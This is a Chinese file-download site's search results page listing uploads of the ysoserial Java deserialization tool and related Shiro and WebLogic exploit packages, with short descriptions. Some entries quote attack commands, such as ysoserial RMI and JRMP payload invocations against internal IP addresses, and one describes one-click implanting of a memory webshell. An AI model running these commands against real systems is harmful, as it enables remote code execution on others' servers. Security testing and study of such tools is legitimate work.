注册会员 | 设为首页 | 加入收藏夹
您好，欢迎光临本网站！[请登录] ！[注册会员]！  

搜索资源列表

  1. ysoserial-v0.0.4

  2. java反序列化工具ysoserial最新版v0.0.4 （jenkins，weblogic，jboss等的代码执行利用工具）

  3. 所属分类：系统安全

    • 发布日期：2017-05-04
    • 文件大小：46137344
    • 提供者：snda123win

  1. ysoserial下载

  2. java反序列化漏洞检测工具，可以自动生成playload,测试用的 有需要的同学拿去用

  3. 所属分类：网络攻防

    • 发布日期：2017-12-26
    • 文件大小：50331648
    • 提供者：a527324652

  1. ysoserial.jar

  2. java反序列化工具ysoserial （jenkins，weblogic，jboss等的代码执行利用工具）

  3. 所属分类：Java

    • 发布日期：2018-04-08
    • 文件大小：50331648
    • 提供者：u013286283

  1. 反序列化测试工具 ysoserial-master-v0.0.5 打包

  2. 用法 java -cp ysoserial-master-v0.0.5 ysoserial.exploit.RMIRegistryExploit 192.168.192.118 1099 CommonsCollections1 "notepad.exe"

  3. 所属分类：网络安全

    • 发布日期：2018-05-21
    • 文件大小：50331648
    • 提供者：henwanyan

  1. ysoseral-0.0.6

  2. java反序列化测试工具，ysoserial最新版0.0.6, 2018年更新

  3. 所属分类：网络安全

    • 发布日期：2018-06-14
    • 文件大小：50331648
    • 提供者：wllidr

  1. ysoserial,用于生成利用不安全Java对象反序列化的有效负载的概念验证工具。.zip

  2. 用于生成利用不安全Java对象反序列化的有效负载的概念验证工具。

  3. 所属分类：其它

    • 发布日期：2019-10-13
    • 文件大小：146432
    • 提供者：weixin_38744270

  1. java反序列化 ysoserial

  2. 帮助理解java反序列化漏洞的工具，一般还需配套工具：SerializationDumper-v1.13、DeserLab以及抓包分析工具

  3. 所属分类：网络安全

    • 发布日期：2020-12-10
    • 文件大小：54525952
    • 提供者：amilier

  1. SHIRO-550:Shiro RememberMe 1.2.4反序列化突破-源码

  2. Shiro RememberMe 1.2.4反序列化突破（SHIRO-550） commons-collections-3.2.1.jar java -jar ysoserial-0.0.6-SNAPSHOT-all.jar JRMPClient "10.10.20.166:12345" |python exp.py java -cp ysoserial-0.0.6-SNAPSHOT-all.jar ysoserial.exploit.JRMPListener 12345 CommonsCo

  3. 所属分类：其它

    • 发布日期：2021-03-10
    • 文件大小：4194304
    • 提供者：weixin_42174098

  1. Shiro_exploit:Apache Shiro Java反序列化漏洞的分析和利用-源码

  2. Apache Shiro Java反序列化进攻分析及利用 0x00项目地址 0x01概述 两者天被派去去护网＆重保，态势感知报告了一条冰蝎的远程代码执行的纠正，在通过日志以及webshel​​l及相关信息，红队大概是通过shiro反序列化拿到主机权限，之前一大佬还特别分享过shiro反序列化断裂，还没来及研究就碰上了，。正好这个机会研究分析一波， 四郎用remembreme这个cookie的对用户进行鉴权，防止出现越权问题，它使用CookieRemembreMeManager这个类，对reme

  3. 所属分类：其它

    • 发布日期：2021-03-10
    • 文件大小：53477376
    • 提供者：weixin_42138408

  1. SHIRO-721:RememberMe填充Oracle漏洞RCE-源码

  2. SHIRO-721 RememberMe填充Oracle漏洞RCE 0x00简介： cookie的cookiememeMe已通过AES-128-CBC模式加密，这很容易受到填充oracle攻击的影响。 攻击者可以使用有效的RememberMe cookie作为填充Oracle Attack的前缀，然后制作精心制作的RememberMe来执行Java反序列化攻击，例如SHIRO-550。 0x01重现此问题的步骤： 登录网站，并从cookie中获取RememberMe。 使用RememberMe

  3. 所属分类：其它

    • 发布日期：2021-03-08
    • 文件大小：4194304
    • 提供者：weixin_42105816

  1. ysoserial：一种概念验证工具，用于生成利用不安全的Java对象反序列化的有效负载-源码

  2. 约瑟 概念证明工具，用于生成利用不安全的Java对象反序列化的有效负载。 描述 最初作为AppSecCali 2015讲座一部分发布，其中包含Apache Commons Collections（3.x和4.x），Spring Beans / Core（4.x）和Groovy（ 2.3.x）。 后来进行了更新，以包括和其他几个库的其他小工具链。 ysoserial是在通用Java库中发现的实用程序和面向属性的编程“小工具链”的集合，这些工具库可以在适当的条件下利用Java应用程序对对象执行不

  3. 所属分类：其它

    • 发布日期：2021-02-03
    • 文件大小：150528
    • 提供者：weixin_42134338

  1. WebLogic-Shiro-shell:WebLogic利用CVE-2020-2883打Shiro还记得我反序列化漏洞，一键注册蚁剑filterMemory shell-源码

  2. Java反序列化技术分享 本次分享涉及的东西有以下几点： Java序列化和反序列化基础 为什么在反序列化的时候会产生断裂？ Java反射 ysoserial CommonsCollections2，CommonsCollections5 Java ClassLoader加载类的几种方法 WebLogic CVE-2020-2555 CVE-2020-2883 RCE Shiro-550 RememberMe硬编码导致的反序列化RCE WebLogic + Shiro反序列化一键注册fi

  3. 所属分类：其它

    • 发布日期：2021-03-20
    • 文件大小：62914560
    • 提供者：weixin_42110070